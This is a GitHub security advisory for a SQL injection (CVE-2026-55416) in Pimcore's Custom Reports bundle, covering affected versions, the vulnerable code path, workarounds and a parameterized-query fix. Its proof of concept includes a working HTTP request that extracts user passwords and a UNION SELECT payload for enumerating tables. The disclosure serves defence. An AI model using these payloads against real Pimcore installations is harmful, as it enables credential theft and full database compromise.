GitHub Advisoryadvisory · Packagist

GHSA-23rh-xw42-fq82 Pimcore: SQL Injection in Custom Reports via Malicious Report Configuration

HIGH Published 2026-09-10 Modified 2026-09-10 Official page ↗
Aliases
CVE-2026-55416
Ecosystem
Packagist
Packages
pimcore/pimcore
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weaknesses
CWE-89
Reviewed
2026-09-10

Affected packages

• Packagist pimcore/pimcore: >= 2026.1.0, < 2026.1.6 → fixed in 2026.1.6 • Packagist pimcore/pimcore: >= 12.0.0-RC1, < 12.3.10 → fixed in 12.3.10 • Packagist pimcore/pimcore: < 11.5.19 → fixed in 11.5.19

Description

Security Advisory: SQL Injection in Custom Reports via Malicious Report Configuration Summary Impact A SQL injection vulnerability exists in the Custom Reports bundle (`bundles/CustomReportsBundle/src/Tool/Adapter/Sql.php:84-135`). An authenticated attacker with `reports_config` permission can inject arbitrary SQL via the report configuration fields (`sql`, `from`, `where`, `groupby`), which are directly concatenated into SQL queries without parameterization. The only protection is a regex blacklist that checks for `ALTER|CREATE|DROP|RENAME|TRUNCATE|UPDATE|DELETE` keywords, which is trivially bypassable — it does not block `INSERT`, `UNION SELECT`, `LOAD_FILE()`, `INTO OUTFILE`, stacked queries, subqueries, or MySQL comment injection (`/*!*/`). Exploitation allows reading, modifying, or deleting all data in the database, leading to complete data compromise. Additionally, the LIMIT clause at line 51 directly interpolates `$offset` and `$limit` without integer casting, creating a secondary injection point. Patches Versions 2026.1.6, 12.3.10, 11.5.19. Workarounds 1. Restrict `reports_config` permission to only highly trusted administrators 2. Deploy a WAF rule to block requests to `/admin/bundle/customreports/custom-report/update` containing SQL keywords in the `configuration` parameter 3. Replace the custom SQL adapter with a parameterized query builder approach Attack Path (Validation Evidence) ``` [Entry Point] POST /admin/bundle/customreports/custom-report/update HTTP/1.1 ↓ (requires reports_config permission + valid admin session) [Controller] CustomReportController::updateAction() ↓ $configuration = decodeJson($request->request->getString('configuration')) [Config Store] Configuration saved to custom_reports database table [Config Load] Tool\Config::getByName() loads stdClass $config from DB ↓ [Adapter] Sql::getBaseQuery() → Sql::buildQueryString($config) ↓ Directly concatenates config fields: [Vulnerable] $sql .= "\n" . $config['sql']; // Line 92 $sql .= "\n" . $config['from']; // Line 103 $sql .= "\n" . 'WHERE (' . $config['where'] . ')'; // Line 110 $sql .= "\n" . $config['groupby']; // Line 117 [Weak Guard] preg_match('/(ALTER|CREATE|DROP|RENAME|TRUNCATE|UPDATE|DELETE)\s/i', ...) ↓ ✗ Bypassable — missing INSERT, UNION, SELECT, subqueries, comments [Execution] $db->fetchAllAssociative($sql); // Line 54 ↓ [Impact] Arbitrary SQL execution — full database compromise ``` Taint Flow (Validation Evidence) ``` Source: $request->request->getString('configuration') (HTTP POST body, user-controlled) ↓ json_decode() → stdClass [Store] Persistent in database (custom_reports table) [Load] Config::getByName() → stdClass $config ↓ ✗ No sanitization (only bypassable regex blacklist) [Sink] $db->fetchAllAssociative($concatenatedSql) ↓ Impact: Attacker-controlled SQL executed against the database ``` Proof of Concept Steps 1. Authenticate as an admin user with `reports_config` permission 2. Send a report update request with malicious SQL in the configuration: Request ```http POST /admin/bundle/customreports/custom-report/update HTTP/1.1 Host: Content-Type: application/x-www-form-urlencoded Cookie: PHPSESSID= name=malicious_report&configuration=%7B%22sql%22%3A%22SELECT%20id%2C%20username%2C%20password%20FROM%20users%22%2C%22from%22%3A%22users%22%2C%22where%22%3A%221%3D1%22%2C%22groupby%22%3A%22%22%2C%22dataSourceConfig%22%3A%7B%7D%7D ``` 3. Access the report data endpoint to retrieve extracted user credentials 4. Alternatively, the `where` field can be set to: ``` 1=1 UNION SELECT TABLE_NAME, TABLE_SCHEMA, 1 FROM INFORMATION_SCHEMA.TABLES ``` to enumerate all database tables Expected Result The custom report returns rows from arbitrary tables beyond what was intended, proving successful SQL injection. Affected Component • File: `bundles/CustomReportsBundle/src/Tool/Adapter/Sql.php` • Method: `buildQueryString()` (lines 84-135), `getBaseQuery()` (lines 137-216), `getData()` (lines 25-58) • Class: `Pimcore\Bundle\CustomReportsBundle\Tool\Adapter\Sql` Fix Recommendation Replace the custom SQL concatenation approach with a parameterized query builder: ```php // Instead of: $sql .= "\n" . $config['sql']; $sql .= "\n" . $config['from']; $sql .= "\n" . 'WHERE (' . $config['where'] . ')'; // Use a whitelist-based approach: // 1. Only allow predefined table names from a whitelist // 2. Use Doctrine QueryBuilder for WHERE conditions // 3. Use parameterized queries for all user-supplied values // 4. Cast LIMIT/OFFSET to integers $sql .= ' LIMIT ' . (int)$offset . ',' . (int)$limit; ``` Resources • CWE-89: SQL Injection • OWASP SQL Injection Prevention Cheat Sheet

Related

Alias · CVE (1)

  • CVE-2026-55416 Pimcore is an Open Source Data & Experience Management Platform. vulnerability

Weakness · CWE (1)

  • CWE-89 Improper Neutralization of Special Elements used in an SQL Command weakness

References